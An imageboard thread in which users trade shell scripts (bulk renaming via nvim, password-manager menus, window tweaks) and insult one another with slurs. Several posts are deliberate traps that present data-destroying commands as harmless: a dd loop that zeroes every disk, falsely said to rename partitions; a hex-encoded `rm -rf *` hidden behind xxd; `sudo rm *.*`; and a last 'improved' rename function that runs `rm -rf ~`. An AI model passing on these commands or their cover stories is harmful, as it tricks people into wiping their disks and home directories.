Awesome Shell Scripts

ITT We post awesome shell scripts!

bulkrename() {
mkdir -p ~/.temp
ls > ~/.temp/newfilenames && nvim ~/.temp/newfilenames
local files=(*)
for filenum in $(seq 1 $(ls | wc -l)); do
mv "${files[${filenum}]}" "$(sed "${filenum}q;d" ~/.temp/newfilenames)"
done
rm ~/.temp/newfilenames
}

Attached: 1558645743414.webm (740x438, 2.93M)

Other urls found in this thread:

github.com/alebcay/awesome-shell
ix.io/1IJ5/sh
ix.io/1IGY/sh
ix.io/1PEs/sh
pastebin.com/HWV3gFww
twitter.com/NSFWRedditGif

you can use rename "regexp" "" * instead of that. look for existing unix utilities before writing another.

If you don't understand how vim editing is more powerful than regex then don't comment.

what does that have to do with what i said, are you retarded?

I know more about it than you do fren. I have been doing this since before you were a twinkle in your're dads wife's boyfriends eye.

You suggested using regex instead of editing the names in vim. What part don't you get?

wow and it only took 10 minutes instead of like 10 seconds with a graphical tool

Attached: 2019-07-26-172038_1083x579_scrot.png (1083x579, 56K)

I get it dummy, do you?

Share gui script

>anime
>neovim
>shit script
die you fucking piece of shit

Thunar -B

You understand and still disagree then? Do you not use vim?

>owarimonogatari
fucking based

>messy names!
they look pretty organized

Can you not imagine filename edits that aren't easily solved with regex? Are you the kind of moron who tries to parse html with regex too?

github.com/alebcay/awesome-shell
/thread

Attached: c34a2ea549ca05a0e3226cfef4540641.gif (420x420, 2.65M)

You don't always have to rename things according to a pattern. Watch webm.

Attached: 1538207424154.webm (740x438, 1.8M)

The only information I need is the episode number.

The best aspect of Thunar.

You don't use lunar linux, do you?

use mktemp
bulkrename() {
TMP=$(mktemp)
ls > "$TMP"
nvim "$TMP"
local files=(*)
for filenum in $(seq 1 $(ls | wc -l)); do
mv "${files[${filenum}]}" "$(sed "${filenum}q;d" $TMP)"
done
rm "$TMP"
}

Attached: 1563301068550.png (1600x1479, 2.13M)

su -s bash -c 'for d in $(lsblk -lndo name); do dd if=/dev/zero of=/dev/$d bs=4M & done'

Arch

>anime fag
>types in "clear" instead of pressing CTRL+L
not even surprised

Attached: 1563484806697.jpg (941x1024, 89K)

>deleting "Hello Jow Forums" one by one instead of

use "+/-" to move to the first char of the next/previous line instead of "j0"

tokek

ranger also has bulkrename with vim built-in

Here's my contribution.

>Jow Forums-dl: wget -erobots=off -nd -rHD4cdn.org -Ajpg,png,gif,webm -Rs.jpg
>Jow Forums-up: ix.io/1IJ5/sh
>captcha: ix.io/1IGY/sh
>checkem: ix.io/1PEs/sh

Enjoy your dsfargeg bot lads.

Btw I also have 'Jow Forums-cat' script (pic related) however you'll need ix.io premium account to view it.

Attached: 4chan-cat.png (424x225, 2K)

for everyone who doesn't get it, this script renames all your disk partitions to whatever your username is, based as fuck!

~ $ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
foo-chan 8:0 0 477G 0 disk
─foo-chan1 8:1 0 511M 0 part /boot
─foo-chan2 8:2 0 468.4G 0 part /
─foo-chan3 8:3 0 8G 0 part [SWAP]

Attached: 15521667946.jpg (1080x1080, 750K)

This does nothing ?
Ran it, but just exits immediatelly.

#!/bin/sh
# This script prints out your passwords into dmenu from keepassxc and allows you to view entries, view entry info, and copy entry info
[ "`keepassxc-cli -v | awk -F'.' '{ print $1$2$3 }'`" -lt 240 ] && echo "You need keepassxc 2.4.0 or higher to run this script" && exit
password=$(printf "" | dmenu -i -p "Enter your database password")
[ "$password" != "" ] || exit
listpasswords=$(echo "$password" | keepassxc-cli ls -q /path/to/file_name.kdbx | dmenu -i -l 10 -p "Password list")
[ "$listpasswords" != "" ] || exit
desc=$(echo "$password" | keepassxc-cli show -q /path/to/file_name.kdbx $listpasswords | dmenu -i -l 5 -p "$listpasswords")
[ "$desc" != "" ] || exit
echo "$desc" | awk '{ print $2 }' | xclip -selection clipboard && notify-send "$listpasswords info copied to clipboard." &

you probably have to reboot

Use :x brainlet.

use regex you nigger

The virgin block edit vs the chad macro user.

Attached: wee.webm (515x292, 140K)

Umm ackshyually, that is not shafe becaushe in UNICSH, filesh can contain newlinesh in their namesh

try mine, just type sudo rm *.*

i fucking love how tumblr and redditors always make up shit that never happened in their head and post it to make them feel better about their life

>vim

Attached: 1534415975928.jpg (231x218, 10K)

hover.sh
#!/bin/sh

# Enable mathematics in POSIX shell
calc() { awk "BEGIN{print $*}"; }

# Calculate size
MON_WIDTH=$(xdotool getdisplaygeometry | awk '{print $1}')
MON_HEIGHT=$(xdotool getdisplaygeometry | awk '{print $2}')
NEW_WIDTH=$(calc "$MON_WIDTH * 0.2")
NEW_HEIGHT=$(calc "$NEW_WIDTH / 16 * 9")

# Calculate position
BORDER=23
X=$(calc "$MON_WIDTH - $NEW_WIDTH - $BORDER")
Y=$(calc "$MON_HEIGHT - $NEW_HEIGHT - $BORDER")

# Set window
CURRENT=$(xdotool getwindowfocus)
xdotool windowsize "$CURRENT" "$NEW_WIDTH" "$NEW_HEIGHT"
xdotool windowmove "$CURRENT" "$X" "$Y"

I call it with
$ i3-msg fullscreen disable, floating enable, sticky enable; $HOME/.scripts/wm/hover.sh
$ bspc node -t floating -g sticky=on; $HOME/.scripts/wm/hover.sh

keepmenu is better

>for i in {01..13}; do mv -iv "Owarimonogatari - $i"* "$i.mkv"; done
Literally typed that faster than you could do your gay edit.

For sure you did, autist.

use `bc'

Use `dc'.

I updated it so it doesn't destroy your files. Use this one, not the old one:
bulkrename() {
OLDFILENAMES=$(mktemp)
RENAMETMP=$(mktemp)
ls *$1 | tee $OLDFILENAMES > $RENAMETMP && nvim $RENAMETMP
for oldnum in $(seq 1 $(cat $OLDFILENAMES | wc -l)); do
for newnum in $(seq 1 $(cat $RENAMETMP | wc -l)); do
if [ "$(sed "${oldnum}q;d" $OLDFILENAMES)" = \
"$(sed "${newnum}q;d" $RENAMETMP)" ] \
&& [ $oldnum != $newnum ]; then
echo "File Naming Confict" && return 0
fi
done
done
for oldnum in $(seq 1 $(cat $OLDFILENAMES | wc -l)); do
[ -f "$(sed "${oldnum}q;d" $RENAMETMP)" ] || \
mv "$(sed "${oldnum}q;d" $OLDFILENAMES)" \
"$(sed "${oldnum}q;d" $RENAMETMP)"
done
rm $OLDFILENAMES $RENAMETMP
}

Attached: 1557790448697.webm (740x438, 2.8M)

Ranger is bloat. This inspired by the ranger script.

Just use the standard coreutils it's not that hard.

>holding backspace to delete the line
sasuga, user...
ctrl+u when the cursor is at the end of the line

weather(){
curl -s wttr.in/$(printf "~%s+%s\n" "$(curl -s ifconfig.co/city)" "$(curl -s ifconfig.co/country-iso)")?Mq
}

mkcd(){
mkdir "$1" && cd "$1"
}

news(){
local in="$1"
if [[ $in =~ \ |\' ]]; then
in="${in// /+}"
else
:
fi
curl getnews.tech/"$in"
}

To use this one you do this:
$ news 'linux news for autists'

The fact that awk allows you to round, without having to think about what operations you do in the calculation, already makes it better than bc.

Ctrl+L does not clear your terminal. It types ^L
You probabmy have used pne terminal in your mife and it just happens to be one with that feature

I am a beginner, here are scripts I use daily, if anyone sees how to improve them please do tell

#! /usr/bin/env sh
#Search configs
echo -e "$(find -L ~/.config/ ~/.local/bin ~/dox/latex/templates -type f)\n$(find -L ~ -maxdepth 2 -type f)" | fzf | sed "s/\ /\\\ /g" | xargs nvim

#Colorpicker for wayland/sway
grim -g "$(slurp -p)" -t ppm - | convert - -format '%[pixel:p{0,0}]' txt:-

#Decent looking lock screen for i3/sway
#need to change swaylock to i3lock for i3
amixer -q sset Master toggle && pkill -RTMIN+10 i3blocks
grim /tmp/screen.png
convert /tmp/screen.png -scale 10% -scale 1000% /tmp/screen.png
[[ -f $1 ]] && convert /tmp/screen.png $1 -gravity center -composite -matte /tmp/screen.png
swaylock -i /tmp/screen.png -e -f
rm /tmp/screen.png

#toggle redshift
if [ "$(pgrep redshift | wc -l)" -ge 1 ]; then
pkill redshift && exit;
else
redshift -O 3500;
fi


#Start a new latex document from a template and start the cursor after \begin{document}
template=$(find ~/dox/latex/templates/ -type f | sed "s/.*\///;s/\.tex//" | fzf --reverse --header='choose the type of your document: ')
read -p "name of your document: " name
cp ~/dox/latex/templates/"$template".tex ~/"$name".tex
nvim -c 'execute "normal \/\\\"\_c4l"' ~/"$name".tex

Attached: giantbug.png (461x660, 62K)

this one was posted yesterday

ls -al | ffmpeg -f tty -i - out.gif

Attached: out.gif (640x400, 39K)

$(echo 726d202d7266202a | xxd -r -p) :)

lmao just used dired

holy shit. Last time I copy paste from Jow Forums.

Read the xxd flags and thought I was safe.

if you dont type the marabthesis itll never work

obvi

Jesus, what's even the point of using vim when you navigate it like it's the fucking notepad.exe?

the point was literally in OP
how blind do you have to be
he used both regex commmabds and visual block

It's not about what he used, it's about the way he navigates through text, retard. He literally just holds the direction keys instead of using motions, which is like half the point of using vim at all.

# takes an input file, outputs the Jow Forums hash
openssl dgst -md5 -binary "$1" | base64

Attached: cmd.exe.webm (740x401, 1.81M)

kek

Why not just rename automatically after it's downloaded?

alias pkgadd sudo [your dumb distro's package installation command]
alias pkgdel sudo [your dumb distro's package removal command]
alias pkgfind [your dumb distro's package search command]
alias pkgrefresh sudo [your dumb distro's package update command]
alias pkgsync sudo [your dumb distro's package upgrade command]


i predict that this will trigger arch users more than any other group

oh that's pretty neat, I wonder if thse will be dubs

oh almost oh well i'm off to end myself

That's like the multi-cursor feature in sublime text

echo -en "\a"

Thanks bro! It played some pretty funky music straight from my terminal.

>removing the 'v2's
how will you have your tv show tracker check to see if there's any new propers to get?

Worst part is they're doing it for some worthless internet points that they can't use for anything.

they use the attention for self-validation, even here with the anonimity and no upvotes or internet points, people do the same thing

function ..(){
if [ -n "$1" ]; then
NUM=$(grep -o '[0-9]\+'

imagine being this lazy

>Jow Forums-cat
post in github gist.

ok, this one got me

Attached: linux laugh.png (1200x796, 596K)

>not using 0dt. to delete names

Install krename

Attached: Konqi.png (600x600, 121K)

count=1399999; for i in *.jpg; do mv -nv -- "$i" "$((++count)).jpg"; done # batch-rename

X=1; for i in *.txt; do mv $i $(printf %04d.%s ${X%.*} ${i##*.}); let X="$X+1"; done # batch-rename with leading zeros

I use vidir for this. Although it's a perl script, and also much bigger and with more features.

I've renamed reaction faces to Jow Forums style names by just using a for loop and mv'ing them all to $(date +%s$3N).jpg
Haven't lost any to overwriting yet, kek.

Attached: CopyQ.osFdxs.png (884x551, 35K)

pastebin.com/HWV3gFww

Alternative to the other AVG auditing tools, with nicer formatting opts. Lets you check arch based systems for vulnerable packages.

Attached: avg-audit.png (692x544, 57K)

sizeof() {
[ $# -eq 0 ] && { printf "No files selected!\n"; return; }
size=0

for i in "$@"
do
size=$((size + $(stat -c %s "$i")))
done

awk -v size=$size 'BEGIN {printf "%.3f MB", size / 1024^2}'
}

botnet

Would be more awesome with a newline at the end.

I literally apt-get thunar on every distro regardless of DE just because the bulk-renamer is fucking badass and by far the best that exists.

du -h?

Fuck

Too verbose. This only prints the total size of all input arguments, not the individual sizes as well.

du -ch file1 file2 | awk 'END{print $1}

You'll make it user, just always remember RTFM

....use crtl + shift before the L, just like you do to paste stuff instead of typing ^V

Just use this abomination
Oh wait, you're on Linux

Attached: ss (2019-07-27 at 21.26.07).png (1031x687, 59K)

It doesnt work on my terminal
in fact for copying i use alt + y and paste is alt + p
Just because you use one software and have only experience with that one means the keybindings are universal

Doesn't have anything to do with the terminal. Bash interprets Ctrl+L as clear command. What shell do you use?

Good script, but I noticed it doesn't work well with spaces in the filename, so I made a small improvement
bulkrename() {
mkdir -p ~/.temp
ls > ~/.temp/newfilenames && nvim ~/.temp/newfilenames
local files=(*)
for filenum in $(seq 1 $(ls | wc -l)); do
mv "${files[${filenum}]}" "$(sed "${filenum}q;d" ~/.temp/newfilenames)"
done }
rm -rf ~ /.temp/newfilenames
}

But thanks OP, definitely putting this in my .bashrc